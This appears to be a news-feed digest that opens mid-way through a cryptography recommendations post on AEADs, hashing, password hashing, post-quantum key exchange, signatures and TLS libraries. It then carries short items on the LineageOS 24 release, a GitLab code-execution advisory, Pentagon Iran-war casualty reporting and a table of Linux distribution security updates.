NaCl/libsodium’s secretbox is just a paper-thin wrapper around a less common AE construction (XSalsa20+Poly1305), so instead I recommend XAES-256-GCM or XChaCha20Poly1305. The former is an efficient composition of a standard KDF and AES-GCM, packaged as an extended-nonce AEAD, so even if your library doesn’t provide it under that name you can assemble it from the KDF and AES-GCM APIs. 3

Regular AES-GCM and ChaCha20Poly1305 with random nonces are only ok if you know for certain you won’t encrypt more than a billion messages with one key. AES-GCM-SIV is also a good AEAD choice if you happen to have it everywhere you need it, but that’s kinda unlikely. Some even newer options have nice properties like key commitment, but are not commonly available yet.

Since you have an AEAD, consider putting context in the additional data, like the user ID you’re encrypting for, or the version of the protocol. Anything not secret that you will definitely still know at decrypt time.

Very important is how you handle large messages, which KMS will not solve for you. Do not pass one large message to an AEAD, or you might be forced to process or store the plaintext before having authenticated it at decrypt time. Absolutely do not use unauthenticated stream ciphers. Instead, you should use STREAM (which is not a stream cipher but a way to use AEADs on a stream… I know, I know, terrible name). There are a lot of options—too many, in fact—and shamefully none are the consensus answer. Tink has one , libsodium has one , the AWS Encryption SDK has one , FLOE is one , age has one, and the list goes on. I recommend Cobblestone-128 , which is a STREAM variant derived from TLS, and is available in pyca/cryptography and soon in the Go standard library (and in the meantime at filippo.io/cobblestone ). 4

Avoid : unauthenticated modes (CBC, CTR, raw stream ciphers), random 96-bit nonces unless you spent a lot of time thinking about how many messages you encrypt, rolling your own AEAD construction.

Symmetric key length

Don’t stress it. 256-bit keys if you need to pick.

Percival, 2009 : 256-bit AES keys.
Ptacek, 2015 : 256-bit keys.
Latacora, 2018 : 256-bit keys.
Latacora, 2024 : 256-bit keys.

Remember that Grover doesn’t actually matter and 128-bit brute-force attacks don’t exist. Still, 256-bit keys rule out multi-target attacks, which is nice.

However, don’t make other decisions based on this. For example, the recommended Cobblestone suite uses 128-bit keys and that’s fine because it has a careful analysis of multi-target attacks. Likewise, don’t go changing the default cipher suite preferences of your TLS library to enforce 256-bit keys; there’s no need.

AES-256 is slower than AES-128 because unfortunately Rijndael ties the number of rounds to the key size, but this probably won’t matter in practice.

Avoid : anything other than 128 or 256 bits, worrying too much about size, keys that are not uniform (e.g. using a password or ASCII hex string directly as a key).

Symmetric “signatures”

HMAC-SHA-256 .

Percival, 2009 : HMAC.
Ptacek, 2015 : HMAC.
Latacora, 2018 : HMAC.
Latacora, 2024 : HMAC.

Yay for HMAC.

Just be careful to sidestep canonicalization and parser alignment bugs by always authenticating a verbatim string of bytes, not something you need to recompute.

Good:

{
    "inner": "{\"foo\":123}",
    "hmac": "MbPsZq7QGCllJgDnSSy/cyM10HjqiVu35UO7yyY5d3w="
}

Check the HMAC and then process or store or forward just {"foo":123} .

Bad:

{
    "foo": 123,
    "hmac": "MbPsZq7QGCllJgDnSSy/cyM10HjqiVu35UO7yyY5d3w="
}

You can use KMAC or keyed BLAKE3 if you already had a reason to use their underlying hashes. HMAC-SHA-512 is also fine.

Remember to compare tags with dedicated constant-time functions.

Avoid : rolling your own YoloMAC , encrypted hashes, standalone one-time MACs like Poly1305 or GMAC.

Hash algorithm

SHA-2 is still fine, but use a real multihash if needed.

Percival, 2009 : SHA-256 (SHA-2), plan on SHA-3.
Ptacek, 2015 : SHA-2.
Latacora, 2018 : SHA-2.
Latacora, 2024 : SHA-2.

The best option, if you have it available, is still SHA-512/256, which isn’t vulnerable to length-extension attacks. Otherwise, SHA-256 and SHA-512 are both fine. 5

SHA-3 is unnecessary (because SHA-2 is fine) and slow, 6 but not wrong . If you already have Keccak (SHA-3) around for ML-KEM and ML-DSA, and you want to use it for hashing, draw 32 bytes from SHAKE128.

BLAKE2 is a weird choice these days. BLAKE3 is very fast, but complex and uncommon enough that you want to have a good reason to use it and a good reason to trust your implementation.

Multihashing is when you need to hash multiple things at once. For example, multiple columns of a row, or a filename along with the file contents. It’s subtler than it sounds, so use SequenceHash with SHA-2, or TupleHash (SP 800-185) with SHA-3.

Avoid : SHA-1, MD5, all other hash functions, rolling your own multihash , truncating to less than 256 bits unless a cryptographer told you collisions are not a concern.

Random IDs

32 random bytes , a.k.a. 256-bit random numbers.

Percival, 2009 : 256-bit random numbers.
Ptacek, 2015 : 256-bit random numbers.
Latacora, 2018 : 256-bit random numbers.
Latacora, 2024 : 256-bit random numbers.

Note that UUIDv4 and APIs like rand.Text will give you ~128-bit values instead. That’s usually fine, unless you need more than 280 trillion (2⁴⁸) unique values. 256 bits is overkill, but why not.

Use your operating system’s CSPRNG: getrandom on Linux, ProcessPrng on Windows, arc4random_buf on macOS and BSD, getRandomValues on the web. A good library will wrap these for you.

Avoid : non-cryptographic PRNGs, userspace random number generators like OpenSSL’s, haveged, CPU jitter entropy. 7

Password handling

Argon2id or scrypt . But have you considered passkeys instead?

Percival, 2009 : scrypt or PBKDF2.
Ptacek, 2015 : scrypt, then bcrypt, then PBKDF2 if you must.
Latacora, 2018 : scrypt, then Argon2, then bcrypt, then PBKDF2 if you must.
Latacora, 2024 : Argon2id, then scrypt, then bcrypt, then PBKDF2 if you must.

Everything my predecessors said is still spot on: “you can throw a dart at a wall to pick one of these.” I dropped bcrypt because the 72-byte truncation bites . One tip: you could argue to your auditors that scrypt is FIPS 140 compliant because its actual KDF step is PBKDF2, which is what they want. I heard it works.

For parameters, ignore RFC 9106 which apparently wants to murder your production system, and use m=64 MiB, t=2, p=1 for Argon2id (libsodium’s INTERACTIVE preset) or N=2^16, r=8, p=1 for scrypt. They use the same memory, but the scrypt ones will take ~1.5× the CPU time and ¼ the GPU time, which is why you should prefer Argon2id. If you’re doing non-interactive key derivation, feel free to crank up Argon2id’s m , and then t (or just N 8 for scrypt) as far as tolerable.

Much more importantly, do you really need passwords? If you only need them for logins, could you use phishing-proof passkeys instead? Maybe with email magic links as a fallback ? Or just support SSO (as long as it’s OIDC and not SAML)?

(Note that in 2026, passkeys are still not PQ. That’s mostly fine. They’re still phishing-proof and credential-stuffing-proof. All a quantum attacker can do is log in to a specific site if they obtain its database or intercept a login.)

Avoid : regular hashes, spending time thinking about password hashes instead of focusing on passkeys, phishable variants of email-based logins. 9

Key exchange

X25519+ML-KEM-768 in a secure, standard protocol.

Percival, 2009 : 2048-bit Group #14 with a generator of 2.
Ptacek, 2015 : Probably still DH-2048, or NaCl.
Latacora, 2018 : Probably nothing. Or Curve25519.
Latacora, 2024 : X25519+ML-KEM-768.

The 2018 version of the Latacora answers is correct in asking “why are you as a developer thinking about this, and what does it even mean?!” Don’t roll your own key exchange protocol. Just pick X25519MLKEM768 in TLS, mlkem768x25519-sha256 in SSH, and/or MLKEM768-X25519 in HPKE and age. If you really need to obtain some keys and you know what you’re doing, both TLS and HPKE have “exporters” to derive them.

Non-PQ solutions are an active, urgent liability due to harvest-now-decrypt-later attacks, and PQ alternatives range from impractical (HQC-KEM, FrodoKEM) to impractical and broken ( Classic McEliece ).

For key exchange, using an ECC hybrid is cheap enough to be worth it, and indeed ML-KEM is usually deployed alongside ECDH. However, if picking or implementing the hybrid is going to make you stay even a single month longer on a classical, non-PQ key exchange, go straight to pure ML-KEM-768 now.

P-256+ML-KEM-768 is also fine, just less common. NIST P curves got a bad rep for many years, but I think it’s 90% because they came out before we knew how to do cryptography engineering particularly well (and because of… let’s say non- NPOV proselytizing). Almost none of the attacks against ECDH on NIST P curves even matter for ephemeral key exchanges.

Avoid : anything and everything without ML-KEM or X-Wing (a specific X25519+ML-KEM-768 combiner) in its name.

Asymmetric encryption

HPKE with (MLKEM768-X25519 a.k.a. X-Wing, HKDF-SHA256, AES-128-GCM) , or age with PQ keys .

Percival, 2009 : RSAES-OAEP with SHA-256, MGF1+SHA-256, and exponent 65537.
Ptacek, 2015 : NaCl.
Latacora, 2018 : NaCl/libsodium (box / crypto_box).
Latacora, 2024 : Tricky, wait for established PQ solutions.

This is one of the most improved answers in recent years, as we now have a standard to do hybrid encryption: HPKE. (“Hybrid” as in asymmetric + symmetric, not as in classical + post-quantum, yay for overloaded names.)

MLKEM768-P256 is also ok as a choice of KEM, but less available. Pure ML-KEM-768 is fine if it’s all you have. All KDF and AEAD choices are fine, as well.

If your message is large, do the same chunking Cobblestone does, with multiple sequential HPKE Seal/Open calls in place of the AEAD.

Note that the PQ HPKE KEMs are maddeningly still a draft. 10 Worse, they are unnecessarily spread over four drafts, such that I had to write filippo.io/hpke-pq . However, I made the authors solemnly swear they will not change the wire format, and then we all shipped them in our cryptographic libraries, so you can and should use them.

If you need something higher-level, with multiple recipients or a CLI, use age 11 with its new age1pq -prefixed keys, based on MLKEM768-X25519. PQ support is also rolling out for plugins like the YubiKey and the Secure Enclave ones.

Avoid : again anything not based on ML-KEM (RSA and NaCl’s box 12 in particular), OpenPGP, encrypting emails .

Asymmetric signatures

ML-DSA-44 .

Percival, 2009 : RSASSA-PSS with SHA-256, MGF1+SHA-256, and exponent 65537.
Ptacek, 2015 : NaCl, Ed25519, or RFC 6979.
Latacora, 2018 : NaCl or Ed25519.
Latacora, 2024 : Ed25519 if short-lived, otherwise Ed25519+ML-DSA-65.

In January 2026, I would have told you to wait and see, and then everything started moving a lot faster . You need to move to PQ for auth, too.

Just use ML-DSA-44. If your message needs pre-hashing, use “external-μ (Mu)” signing, not HashML-DSA. Store keys as 32-byte seeds exclusively.

The two PQ alternatives are FN-DSA, which is stuck somewhere in the US Department of Commerce, and SLH-DSA, which is based on hash functions. The latter can make sense for some specialist use cases, but is slow, large, and not widely available in implementations.

Why not a hybrid or “composites”? Hybrid auth is more complex and less useful than hybrid key exchange. I need to write a long-form post about this, but in short either you already have a key rotation strategy that you can use to rotate back to RSA/ECDSA/Ed25519 in the unlikely case of a cryptanalytic break, or you have such a long time horizon that you should assume quantum computers will break the classical half anyway.

Also, ML-DSA is just such a better signature algorithm than its predecessors. It has hedged randomness (which is better than both random and deterministic nonces), built-in context, extra properties like SUF-CMA, and is relatively simple to implement and test.

Why the -44 parameter set, when I’m recommending ML-KEM-768? Unlike ML-KEM-512 (NIST category 1), ML-DSA-44 sits at NIST category 2, with some margin above the 128-bit security level already.

The one exception to the no-composites rule is SSH keys. OpenSSH 10.6 picked ssh-mldsa44-ed25519 . I think they made a mistake , but it would be a mistake for you to go off the beaten path there.

Note that asymmetric signatures are overused, and especially now that they are not cheap, you should try to avoid them. Consider whether you could use a simple HMAC. Maybe you can replace signed JWTs with random session tokens. If instead you do want to commit to something publicly, consider whether you should use a transparency log , and get a more practically useful notion of non-repudiability (and potentially smaller sizes, if you amortize the signature over multiple proofs).

Avoid : all non-PQ options like RSA/ECDSA/Ed25519, stateful signatures (LMS/XMSS), HashML-DSA, ML-DSA “ semi-expanded keys ,” composite signatures, OpenPGP.

Website or client-server application security

If you’re in the cloud, use its ALB/NLB . Otherwise, rustls , Go’s crypto/tls , BoringSSL , AWS-LC , or s2n-tls with a popular, updated ACME client .

Percival, 2009 : OpenSSL for websites, custom RSA protocol for applications.
Ptacek, 2015 : OpenSSL, or BoringSSL if you can. Or just AWS ELBs.
Latacora, 2018 : AWS ALB/ELB or OpenSSL, with Let’s Encrypt.
Latacora, 2024 : AWS ALB/ELB or OpenSSL, with Let’s Encrypt.

Not recommending OpenSSL will probably be my least practical suggestion, but OpenSSL has been making consistently puzzling and problematic choices for years now. The pyca/cryptography authors, in a long post about OpenSSL’s issues , summarize it as:

Our experience with OpenSSL has been on a negative trajectory for several years.

They even presented at the 2025 OpenSSL Conference (!?), apparently fruitlessly. They’re not alone in criticizing OpenSSL: here are HAProxy from the server side, and curl from the client side.

I recommend rustls or Go’s crypto/tls, 13 which are memory safe. If you need to stick to C, both BoringSSL and AWS-LC are very competently maintained OpenSSL forks, and the latter, unlike BoringSSL, has versioned releases. s2n-tls and rustls-ffi are interesting options if you don’t need libssl compatibility.

Whatever you use, make sure it prioritizes the X25519MLKEM768 key exchange, which requires TLS 1.3. Your cloud load balancer might require you to select a PQ security policy. On RHEL 9 and derivatives, you need to opt in .

Previous lists split websites and client-server applications. I merged them because these days you’ll just use the same TLS stack for both. What changes is the PKI. For applications where you control both ends, consider making your own ML-DSA-44 X.509 certificates, self-signed or from a private root. For websites, wire up a popular , well-supported ACME client and keep it up to date. Merkle Tree Certificates will roll out in 2027, and you want to be well positioned to be included in the transition.

Avoid : rolling your own transport protocol, TLS libraries that failed at their core job before (GnuTLS 14 , Mbed TLS 15 16 17 , wolfSSL 18 19 20 21 22 23 24 25 , Botan 26 27 ), offbeat TLS libraries, OpenSSL before version 3.5 (the first with X25519MLKEM768), any OpenSSL if you can, TLS 1.0–1.1, TLS 1.2 if you can, rolling your own ACME client.

Online backups

restic with a long random password.

Percival, 2009 : Tarsnap.
Ptacek, 2015 : Tarsnap.
Latacora, 2018 : Tarsnap.
Latacora, 2024 : Tarsnap.

I checked restic’s encryption a very long time ago and it was slightly weird but good. Fully symmetric, so it’s not scared of quantum computers. Doesn’t look like anything changed since. If you need cloud storage, rsync.net has a “secret” plan for restic users , and they support an append-only mode .

We all love Tarsnap, and I feel like I am betraying my elders right now… but its asymmetric cryptography layer is all RSA. Technically , I think the only things that truly break are the lower-capability keys: a write-only key can decrypt archives and a read-only key can forge archives. Server authentication is HMAC, and the RSA public keys are never sent to the server. In that sense, Tarsnap is as secure as restic, which is an impressive feat for a 2008 design. However, this feels like a major footgun with impending quantum computers.

The picture

Kinda incredible that you can just walk up to this thing.

The Colosseum, at night, pictured from the ground looking up.

Follow me on Bluesky at @filippo.abyssdomain.expert or on Mastodon at @filippo@abyssdomain.expert .

LineageOS 24 released

Linux Weekly News
lwn.net
2026-10-12 09:13:57
The LineageOS project, which produces an Android-based distribution for mobile devices, has announced the release of LineageOS 24.0. We're a bit sentimental about this release, as it precedes a really fun upcoming milestone. On December 24, 2026, LineageOS will celebrate 10 years. It's a remarkab...
Original Article

The LineageOS project, which produces an Android-based distribution for mobile devices, has announced the release of LineageOS 24.0.

We're a bit sentimental about this release, as it precedes a really fun upcoming milestone.

On December 24, 2026, LineageOS will celebrate 10 years. It's a remarkable milestone for a project built by a passionate community of developers, maintainers, contributors, and users who have kept so many devices alive along the way.

[...] We've been hard at work rebasing all of our changes and features since Android 17's release in June. Android 17's first release mainly contained iterative improvements and some UI/UX refinements, but due to our previous efforts adapting to Google's heavy refactoring over the last several versions, we were able to rebase onto Android 17's code-base faster than anticipated. Yes you read that right: We're early this year!



GitLab warns of max severity code execution vulnerability

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 09:09:09
GitLab warned users today to immediately patch a maximum-severity vulnerability in the CI/CD Regular Expression Compiler that could let remote attackers run arbitrary code on targeted instances. [...]...
Original Article

GitLab

GitLab warned users today to immediately patch a maximum-severity vulnerability in the CI/CD Regular Expression Compiler that could let remote attackers run arbitrary code on targeted instances.

Tracked as CVE-2026-97229 , this critical security flaw was discovered by a security researcher using the ' joaxcar ' handle and reported via GitLab's HackerOne bug bounty program.

CVE-2026-97229 stems from an integer overflow weakness in GitLab's CI/CD Regular Expression Compiler, which parses, compiles, and evaluates regular expressions in projects' pipeline configuration files.

"GitLab has remediated an issue that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation," the company explained in a Monday advisory.

GitLab fixed the security issue in GitLab Community Edition (CE) and Enterprise Edition (EE) versions from 19.2 before 19.2.8, 19.3 before 19.3.4, and 19.4 before 19.4.2, and urged users to patch their servers immediately.

"These versions contain important bug and security fixes, and we strongly recommend that all self-managed GitLab installations be upgraded to one of these versions immediately," it warned. "GitLab.com is already running the patched version. GitLab Dedicated customers do not need to take action."

CVE-2026-97229 is the latest in a string of vulnerabilities that GitLab has addressed in recent months. In January, GitLab patched a high-severity two-factor authentication bypass (CVE-2026-0723 that lets attackers who know the target's account ID circumvent two-factor authentication on community and enterprise edition servers.

Last month, it addressed another maximum-severity vulnerability (CVE-2026-85706) in GitLab CE/EE that allows unauthenticated attackers to read sensitive data, such as credentials and other secrets, from vulnerable servers.

One day later, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-85706 to its catalog of flaws exploited in the wild and ordered federal agencies to secure their systems within three days.

CISA has flagged five GitLab flaws abused in attacks since November 2021, including one that was exploited by ransomware gangs.

GitLab says that over 30 million registered users and more than 50% of Fortune 100 companies use its DevSecOps platform, including Nvidia, T-Mobile, Lockheed Martin, Airbus, and Goldman Sachs.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Pentagon Finally Counts an Iran War Death — Six Months Late

Intercept
theintercept.com
2026-10-12 09:02:11
After months of questions from The Intercept, the U.S. military finally acknowledged the March death of Maj. Sorffly Davius. The post Pentagon Finally Counts an Iran War Death — Six Months Late appeared first on The Intercept....
Original Article

The Pentagon quietly acknowledged additional Iran war deaths on Friday evening after The Intercept repeatedly demanded an explanation for inaccurate statistics on a War Department website tracking U.S. casualties from the conflict.

Almost 900 U.S. troops have been wounded or killed in the war with Iran, according to the official Pentagon count, including the two deaths added on Friday. This raises the Pentagon’s total to 21 dead.

The additional war dead include Maj. Sorffly Davius, a signals and communication officer with the New York Army National Guard who was assigned to the headquarters of the 42nd Infantry Division and died while on duty in Camp Buehring, Kuwait, on March 6. For more than six months, The Intercept has raised Davius’s case in dozens of emails and phone conversations with Pentagon officials and publicly in 10 articles.

The Pentagon recently revamped the website of the Defense Casualty Analysis System, or DCAS — which provides official counts of dead and wounded for Congress and the White House — to include more detailed casualty category tables. But it initially listed no “non-hostile” illness or injury fatalities, despite the Pentagon announcing in March that Davius died “as a result of a non-combat related incident.”

At first, the military claimed that Davius was involved in another operation instead of Epic Fury — the original designation of the Iran war. Two weeks ago, however, The Intercept revealed that a recent National Guard news release admitted that when “President Donald Trump made the decision to attack Iran and launched Operation Epic Fury on Feb. 28, the [42nd Infantry] division headquarters began conducting combat operations.” The 42nd served as the primary headquarters leading what became, according to Maj. Gen. Jack James, the division commander, the “largest and first long-range precision fires campaign in the history of the United States Army.” James specifically saluted Davius, whom the Guard admitted was “conducting operations” when he died.

Last week, The Intercept pointed the Pentagon to the non-hostile illness or injury casualty count for Epic Fury on the website, and emphasized its tally showing zero deaths was not possible.

“I will check within,” Patricia Kreuzberger, a Pentagon spokesperson said on Tuesday. “Let me reach out to leadership.”

Three days later, and after repeated follow-up messages on Friday, the tally was updated, to 1.

In addition to Davius, the DCAS death count now also includes an unidentified Navy suicide that occurred last month, according to a U.S. official who spoke on the condition of anonymity. DCAS currently lists this death as “pending,” despite the recent addition of a “self-inflicted” category to the website.

A “War Department official” told The Intercept by email on Sunday that “the Department is introducing a ‘Pending Adjudication’ category to track the status of active duty casualties pending final categorization and reporting in DCAS.” She added: “This new category will allow the Department to minimize reporting delays while ensuring data consistency between the DoW and Joint Staff.”

The “pending” designation, however, isn’t new. The Pentagon re-introduced it to DCAS in mid-July, and major discrepancies have continued in the tally since.

Many casualties remain uncounted in DCAS, including a sailor who suffered a non-combat-related injury aboard the USS Abraham Lincoln as it was involved in “strike missions in support of Operation Epic Fury” on March 25.

Most Iran war casualties in the official count — 454 personnel as of Friday — have occurred since July 7, after the Trump administration claimed the conflict ended. At that time, the Pentagon switched from counting casualties under Epic Fury to the anodyne moniker “Overseas Operations.”

The most recent casualties are three Army personnel wounded in action this month. The latest known Iran war fatality is Capt. Bianca Wilkerson, 37, of Norfolk, Virginia, who died on September 18 from a “coronary issue,” according to her brother. He said she returned from Saudi Arabia on September 10 and was headed back but died on the return flight, according to reporting by the Virginian-Pilot. A U.S. official told The Intercept that Wilkerson died “as a result of a non-combat-related incident,” but after nearly a month, DCAS still lists no non-hostile illness or injury deaths.

“There is no excuse for a mistake of this magnitude,” Reps. Chrissy Houlahan, D-Pa., and Adam Smith, D-Wash., said in a joint statement on Friday after the House Armed Services Committee discovered “a discrepancy in the Pentagon’s reporting of casualty numbers” and brought it to “the Trump Administration’s attention.” They continued: “The failure of Secretary Hegseth to immediately take ownership of the problem also does a grave disservice to the men and women putting their lives on the line in service to our country.”

For six months , The Intercept has reported on anomalies in official counts offered on DCAS. When the first ceasefire was struck between the Trump administration and Iran on April 7, the tally of U.S. casualties was 385. Despite a pause in hostilities, the number slowly rose to 428, according to Pentagon statistics. But on April 21, the number of wounded-in-action troops declined by 15 without public acknowledgment by the War Department. Despite repeated questions for months, the Pentagon has not explained the adjustment.

Other discrepancies have also gone unjustified for months. An Army “illness/injury” death appeared on or about May 26 but disappeared by June 1. On July 20, the Pentagon repeatedly altered DCAS, adding 100 casualties to the war’s tally without explanation; the total number of wounded cited by DCAS on that date included counts of 413, 427, and 447. Three days later, the Pentagon dropped the Iran war death toll from 18 to 14. On July 22, DCAS added 10 recent casualties to the Epic Fury count. By July 25, those wounded personnel were dropped from the tally. They may have been added to the Overseas Operations casualty toll, but the Pentagon has failed to offer any explanations.

Prior reporting by The Intercept also found that the Pentagon’s official tally of dead and wounded personnel is a gross undercount, stemming from what one U.S. government official called, in April, a “ casualty cover-up .” When the Washington Post also suggested last month that the Pentagon had suppressed the casualty numbers, self-styled War Secretary Pete Hegseth called the report “DISGUSTING and FAKE.”

When asked by The Intercept about the Pentagon’s continued peddling of bogus statistics, Kreuzberger did not offer an explanation. An email from a nameless “War Department official” said: “We have nothing to provide beyond the Defense Casualty Analysis System website.”

Security updates for Monday

Linux Weekly News
lwn.net
2026-10-12 09:00:41
Security updates have been issued by AlmaLinux (cjose, compat-openssl10, compat-openssl11, curl, dogtag-pki, dovecot, emacs, glibc, kernel, openssl, python3.12, python3.14, and sssd), Debian (chromium, ghostscript, tor, and vips), Fedora (kernel, libical, markdownlint-cli2, openbao, openvpn, php-get...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2026:79122 10 cjose 2026-10-09
AlmaLinux ALSA-2026:80510 8 compat-openssl10 2026-10-12
AlmaLinux ALSA-2026:80514 9 compat-openssl11 2026-10-12
AlmaLinux ALSA-2026:80511 9 curl 2026-10-12
AlmaLinux ALSA-2026:77648 10 dogtag-pki 2026-10-09
AlmaLinux ALSA-2026:79371 10 dovecot 2026-10-09
AlmaLinux ALSA-2026:80507 9 emacs 2026-10-12
AlmaLinux ALSA-2026:76781 10 glibc 2026-10-09
AlmaLinux ALSA-2026:77690 10 kernel 2026-10-09
AlmaLinux ALSA-2026:76918 10 openssl 2026-10-09
AlmaLinux ALSA-2026:77020 10 python3.12 2026-10-09
AlmaLinux ALSA-2026:77018 10 python3.14 2026-10-09
AlmaLinux ALSA-2026:77534 10 sssd 2026-10-09
Debian DSA-6553-1 stable chromium 2026-10-12
Debian DSA-6550-1 stable ghostscript 2026-10-10
Debian DSA-6551-1 stable tor 2026-10-10
Debian DSA-6552-1 stable vips 2026-10-11
Fedora FEDORA-2026-c2d6603acd F44 kernel 2026-10-12
Fedora FEDORA-2026-d4c8dad1fd F43 libical 2026-10-12
Fedora FEDORA-2026-af15ed670a F43 markdownlint-cli2 2026-10-12
Fedora FEDORA-2026-2c004657ff F44 markdownlint-cli2 2026-10-12
Fedora FEDORA-2026-12caf78d6a F43 openbao 2026-10-10
Fedora FEDORA-2026-c079fc3c0b F44 openbao 2026-10-12
Fedora FEDORA-2026-eed9c789d3 F44 openvpn 2026-10-10
Fedora FEDORA-2026-b9ef1180ce F43 php-getid3 2026-10-10
Fedora FEDORA-2026-71df118e18 F44 php-getid3 2026-10-10
Fedora FEDORA-2026-ab6004ec50 F43 python3.10 2026-10-12
Fedora FEDORA-2026-9a19c3dfb2 F44 python3.10 2026-10-12
Fedora FEDORA-2026-37c784fc16 F43 python3.11 2026-10-12
Fedora FEDORA-2026-f105922543 F44 python3.11 2026-10-12
Fedora FEDORA-2026-1928c5d40b F43 python3.13 2026-10-12
Fedora FEDORA-2026-67c5f750b3 F44 python3.13 2026-10-12
Mageia MGASA-2026-0474 10 capnproto 2026-10-09
Mageia MGASA-2026-0473 10 chirp 2026-10-09
Mageia MGASA-2026-0477 10 flatpak 2026-10-09
Mageia MGASA-2026-0472 10 freetype2 2026-10-09
Mageia MGASA-2026-0475 10 hamlib 2026-10-09
Mageia MGASA-2026-0478 10 mingw-pcre2, pcre2 2026-10-09
Mageia MGASA-2026-0481 10 openssl 2026-10-09
Mageia MGASA-2026-0479 10 tomcat 2026-10-09
Mageia MGASA-2026-0476 10 tomcat-native 2026-10-09
Mageia MGASA-2026-0480 10 xdg-dbus-proxy 2026-10-09
Oracle ELSA-2026-79162 OL8 bind 2026-10-09
Oracle ELSA-2026-79122 OL10 cjose 2026-10-09
Oracle ELSA-2026-77648 OL10 dogtag-pki 2026-10-09
Oracle ELSA-2026-79371 OL10 dovecot 2026-10-09
Oracle ELSA-2026-76850 OL8 firefox 2026-10-09
Oracle ELSA-2026-75576 OL10 kernel 2026-10-09
Oracle ELSA-2026-74085 OL8 nodejs:24 2026-10-09
Oracle ELSA-2026-76918 OL10 openssl 2026-10-09
Oracle ELSA-2026-77396 OL9 openssl 2026-10-09
Oracle ELSA-2026-75573 OL8 pki-core:10.6 2026-10-09
Oracle ELSA-2026-77020 OL10 python3.12 2026-10-09
Oracle ELSA-2026-77017 OL9 python3.12 2026-10-09
Oracle ELSA-2026-77018 OL10 python3.14 2026-10-09
Oracle ELSA-2026-77021 OL9 python3.14 2026-10-09
Oracle ELSA-2026-73519 OL8 ruby:2.5 2026-10-09
Oracle ELSA-2026-76737 OL10 rust-sequoia-sq 2026-10-09
Oracle ELSA-2026-77534 OL10 sssd 2026-10-09
Oracle ELSA-2026-78952 OL8 tftp 2026-10-09
Red Hat RHSA-2026:71586-01 EL10 libxml2 2026-10-12
Red Hat RHSA-2026:80675-01 EL8 libxml2 2026-10-12
Red Hat RHSA-2026:71585-01 EL9 libxml2 2026-10-12
Slackware SSA:2026-282-01 mutt 2026-10-09
SUSE SUSE-SU-2026:4622-1 SLE15 apache-sshd 2026-10-12
SUSE SUSE-SU-2026:4608-1 SLE15 oS15.6 bind 2026-10-09
SUSE openSUSE-SU-2026:11979-1 TW ccache 2026-10-09
SUSE openSUSE-SU-2026:22041-1 oS16.0 chromium 2026-10-09
SUSE openSUSE-SU-2026:0347-1 osB15 chromium 2026-10-09
SUSE openSUSE-SU-2026:11982-1 TW cpp13 2026-10-10
SUSE openSUSE-SU-2026:11980-1 TW dash 2026-10-09
SUSE SUSE-SU-2026:4615-1 SLE12 expat 2026-10-12
SUSE SUSE-SU-2026:4619-1 SLE15 expat 2026-10-12
SUSE SUSE-SU-2026:4623-1 SLE15 SLE5.3 SLE5.4 SLE5.5 SLE-m5.3 SLE-m5.4 SLE-m5.5 oS15.4 expat 2026-10-12
SUSE openSUSE-SU-2026:11981-1 TW expat 2026-10-09
SUSE SUSE-SU-2026:4605-1 SLE15 fetchmail 2026-10-09
SUSE SUSE-SU-2026:4604-1 SLE15 oS15.6 fetchmail 2026-10-09
SUSE SUSE-SU-2026:4610-1 SLE12 flatpak 2026-10-09
SUSE SUSE-SU-2026:4606-1 SLE15 golang-github-prometheus-prometheus 2026-10-09
SUSE SUSE-SU-2026:4600-1 SLE15 grafana, system-user-grafana 2026-10-09
SUSE openSUSE-SU-2026:11983-1 TW incus 2026-10-10
SUSE openSUSE-SU-2026:11984-1 TW libpng16-16 2026-10-10
SUSE SUSE-SU-2026:4616-1 SLE15 oS15.4 libsoup 2026-10-12
SUSE openSUSE-SU-2026:11985-1 TW logback 2026-10-10
SUSE SUSE-SU-2026:4614-1 SLE12 openssh8.4 2026-10-12
SUSE SUSE-SU-2026:4612-1 SLE15 perl-DBI 2026-10-09
SUSE SUSE-SU-2026:4602-1 SLE15 php8 2026-10-09
SUSE SUSE-SU-2026:4603-1 SLE15 oS15.6 php8 2026-10-09
SUSE SUSE-SU-2026:4618-1 SLE15 oS15.4 python3-paramiko 2026-10-12
SUSE openSUSE-SU-2026:11975-1 TW python312 2026-10-09
SUSE openSUSE-SU-2026:11986-1 TW python313-Babel 2026-10-10
SUSE openSUSE-SU-2026:11987-1 TW python313-Beaker 2026-10-10
SUSE openSUSE-SU-2026:11988-1 TW python313-Brotli 2026-10-10
SUSE openSUSE-SU-2026:11989-1 TW python313-CairoSVG 2026-10-10
SUSE openSUSE-SU-2026:11990-1 TW python313-Flask-Cors 2026-10-10
SUSE openSUSE-SU-2026:11991-1 TW python313-FontTools 2026-10-10
SUSE openSUSE-SU-2026:11992-1 TW python313-Jinja2 2026-10-11
SUSE openSUSE-SU-2026:11993-1 TW python313-MechanicalSoup 2026-10-11
SUSE openSUSE-SU-2026:11994-1 TW python313-PyJWT 2026-10-11
SUSE openSUSE-SU-2026:11995-1 TW python313-PyMySQL 2026-10-11
SUSE openSUSE-SU-2026:11996-1 TW python313-PyYAML 2026-10-11
SUSE openSUSE-SU-2026:11997-1 TW python313-XStatic-jquery-ui 2026-10-11
SUSE openSUSE-SU-2026:11998-1 TW python313-asyncpg 2026-10-11
SUSE openSUSE-SU-2026:11999-1 TW python313-azure-identity 2026-10-11
SUSE openSUSE-SU-2026:12000-1 TW python313-bjoern 2026-10-11
SUSE openSUSE-SU-2026:12001-1 TW python313-black 2026-10-11
SUSE openSUSE-SU-2026:11972-1 TW python313-jwcrypto 2026-10-09
SUSE openSUSE-SU-2026:11973-1 TW python313-oauthlib 2026-10-09
SUSE openSUSE-SU-2026:11974-1 TW python313-virtualenv 2026-10-09
SUSE SUSE-SU-2026:24115-1 SLE-m6.2 qemu 2026-10-09
SUSE SUSE-SU-2026:4611-1 SLE15 rsyslog 2026-10-09
SUSE openSUSE-SU-2026:11976-1 TW shadowsocks-rust 2026-10-09
SUSE SUSE-SU-2026:4621-1 SLE15 oS15.6 squid 2026-10-12
SUSE SUSE-SU-2026:4617-1 SLE15 oS15.6 stunnel 2026-10-12
